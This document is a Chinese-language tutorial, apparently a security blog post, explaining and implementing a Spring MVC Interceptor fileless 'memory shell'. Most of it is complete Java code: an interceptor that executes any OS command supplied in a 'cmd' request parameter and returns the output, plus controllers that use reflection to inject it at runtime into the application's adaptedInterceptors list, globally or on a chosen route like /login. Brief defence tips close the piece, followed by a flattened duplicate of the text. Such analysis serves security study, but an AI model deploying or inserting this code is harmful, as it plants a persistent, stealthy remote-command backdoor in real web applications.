Spring Interceptor 内存马分析
字数 1230 2025-08-29 08:31:53

Spring Interceptor 内存马分析与实现

1. 基本概念

Spring Interceptor 内存马是一种基于 Spring MVC 拦截器机制的无文件攻击技术,它通过动态注册恶意拦截器来实现命令执行等功能,具有隐蔽性强、难以检测的特点。

2. 基础拦截器实现

2.1 创建恶意拦截器

package com.example.demo;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
        if (req.getParameter("cmd") != null) {
            byte[] bytes = new byte[1024];
            Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
            int len = process.getInputStream().read(bytes);
            res.getWriter().write(new String(bytes, 0, len));
            process.destroy();
            return false;
        } else {
            return true;
        }
    }
    
    public void postHandle(HttpServletRequest request, HttpServletResponse response, 
                          Object handler, ModelAndView modelAndView) throws Exception {
    }
    
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, 
                               Object handler, Exception ex) throws Exception {
    }
}

2.2 注册拦截器

package com.example.demo;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor());
    }
}

3. 拦截器调用流程分析

  1. 调用栈分析:

    • DispatcherServlet#doDispatch 调用 mappedHandler.applyPreHandle
    • HandlerExecutionChain#applyPreHandle 调用拦截器的 preHandle 方法
  2. 关键对象获取:

    • mappedHandlerthis.getHandler 获取
    • mappingrequestMappingHandlerMapping (一个 Spring bean)
  3. 拦截器链构建:

    • AbstractHandlerMapping#getHandlerExecutionChain 方法遍历 this.adaptedInterceptors
    • 如果是 MappedInterceptor 会判断 URL 是否匹配
    • 否则直接加入 chain 中

4. 内存马注入实现

4.1 基本注入方式

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;

@RestController
public class inject {
    @GetMapping("/inject")
    public void inject(){
        try {
            // 获取context
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            
            // 获取AbstractHandlerMapping实例
            AbstractHandlerMapping abstractHandlerMapping = 
                (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            
            // 反射获取adaptedInterceptors字段
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            
            // 实例化并注册恶意拦截器
            MyInterceptor m = new MyInterceptor();
            adaptedInterceptors.add(m);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

4.2 指定路径的注入方式

import com.example.demo.MyInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;

@RestController
public class inject {
    @GetMapping("/inject")
    public void inject(){
        try {
            // 获取context
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            
            // 获取AbstractHandlerMapping实例
            AbstractHandlerMapping abstractHandlerMapping = 
                (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            
            // 反射获取adaptedInterceptors字段
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            
            // 实例化恶意拦截器并创建MappedInterceptor
            MyInterceptor m = new MyInterceptor();
            String[] path = new String[]{"/login"};  // 指定路径
            MappedInterceptor mi = new MappedInterceptor(path, null, m);
            
            adaptedInterceptors.add(mi);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

5. 关键点说明

  1. 获取WebApplicationContext:

    • 通过 RequestContextUtils.findWebApplicationContext 获取当前请求的上下文
    • 需要先获取 RequestContextHolder.currentRequestAttributes()
  2. 获取HandlerMapping:

    • requestMappingHandlerMapping 是 Spring MVC 的核心组件
    • 通过 context.getBean("requestMappingHandlerMapping") 获取
  3. 拦截器存储位置:

    • 拦截器存储在 AbstractHandlerMappingadaptedInterceptors 字段中
    • 需要通过反射访问这个私有字段
  4. 路径限制:

    • 使用 MappedInterceptor 可以限制拦截器只在特定路径生效
    • 注意路径必须是存在的路由,否则不会触发

6. 防御建议

  1. 监控 AbstractHandlerMapping.adaptedInterceptors 的修改
  2. 限制反射操作,特别是对私有字段的访问
  3. 检查应用中是否存在未知的拦截器
  4. 实施严格的权限控制,防止未授权的代码执行

7. 总结

Spring Interceptor 内存马通过动态注册恶意拦截器实现持久化攻击,其核心在于利用 Spring MVC 的拦截器机制和反射技术。理解其实现原理对于防御此类攻击至关重要。

Spring Interceptor 内存马分析与实现 1. 基本概念 Spring Interceptor 内存马是一种基于 Spring MVC 拦截器机制的无文件攻击技术,它通过动态注册恶意拦截器来实现命令执行等功能,具有隐蔽性强、难以检测的特点。 2. 基础拦截器实现 2.1 创建恶意拦截器 2.2 注册拦截器 3. 拦截器调用流程分析 调用栈分析 : DispatcherServlet#doDispatch 调用 mappedHandler.applyPreHandle HandlerExecutionChain#applyPreHandle 调用拦截器的 preHandle 方法 关键对象获取 : mappedHandler 由 this.getHandler 获取 mapping 是 requestMappingHandlerMapping (一个 Spring bean) 拦截器链构建 : AbstractHandlerMapping#getHandlerExecutionChain 方法遍历 this.adaptedInterceptors 如果是 MappedInterceptor 会判断 URL 是否匹配 否则直接加入 chain 中 4. 内存马注入实现 4.1 基本注入方式 4.2 指定路径的注入方式 5. 关键点说明 获取WebApplicationContext : 通过 RequestContextUtils.findWebApplicationContext 获取当前请求的上下文 需要先获取 RequestContextHolder.currentRequestAttributes() 获取HandlerMapping : requestMappingHandlerMapping 是 Spring MVC 的核心组件 通过 context.getBean("requestMappingHandlerMapping") 获取 拦截器存储位置 : 拦截器存储在 AbstractHandlerMapping 的 adaptedInterceptors 字段中 需要通过反射访问这个私有字段 路径限制 : 使用 MappedInterceptor 可以限制拦截器只在特定路径生效 注意路径必须是存在的路由,否则不会触发 6. 防御建议 监控 AbstractHandlerMapping.adaptedInterceptors 的修改 限制反射操作,特别是对私有字段的访问 检查应用中是否存在未知的拦截器 实施严格的权限控制,防止未授权的代码执行 7. 总结 Spring Interceptor 内存马通过动态注册恶意拦截器实现持久化攻击,其核心在于利用 Spring MVC 的拦截器机制和反射技术。理解其实现原理对于防御此类攻击至关重要。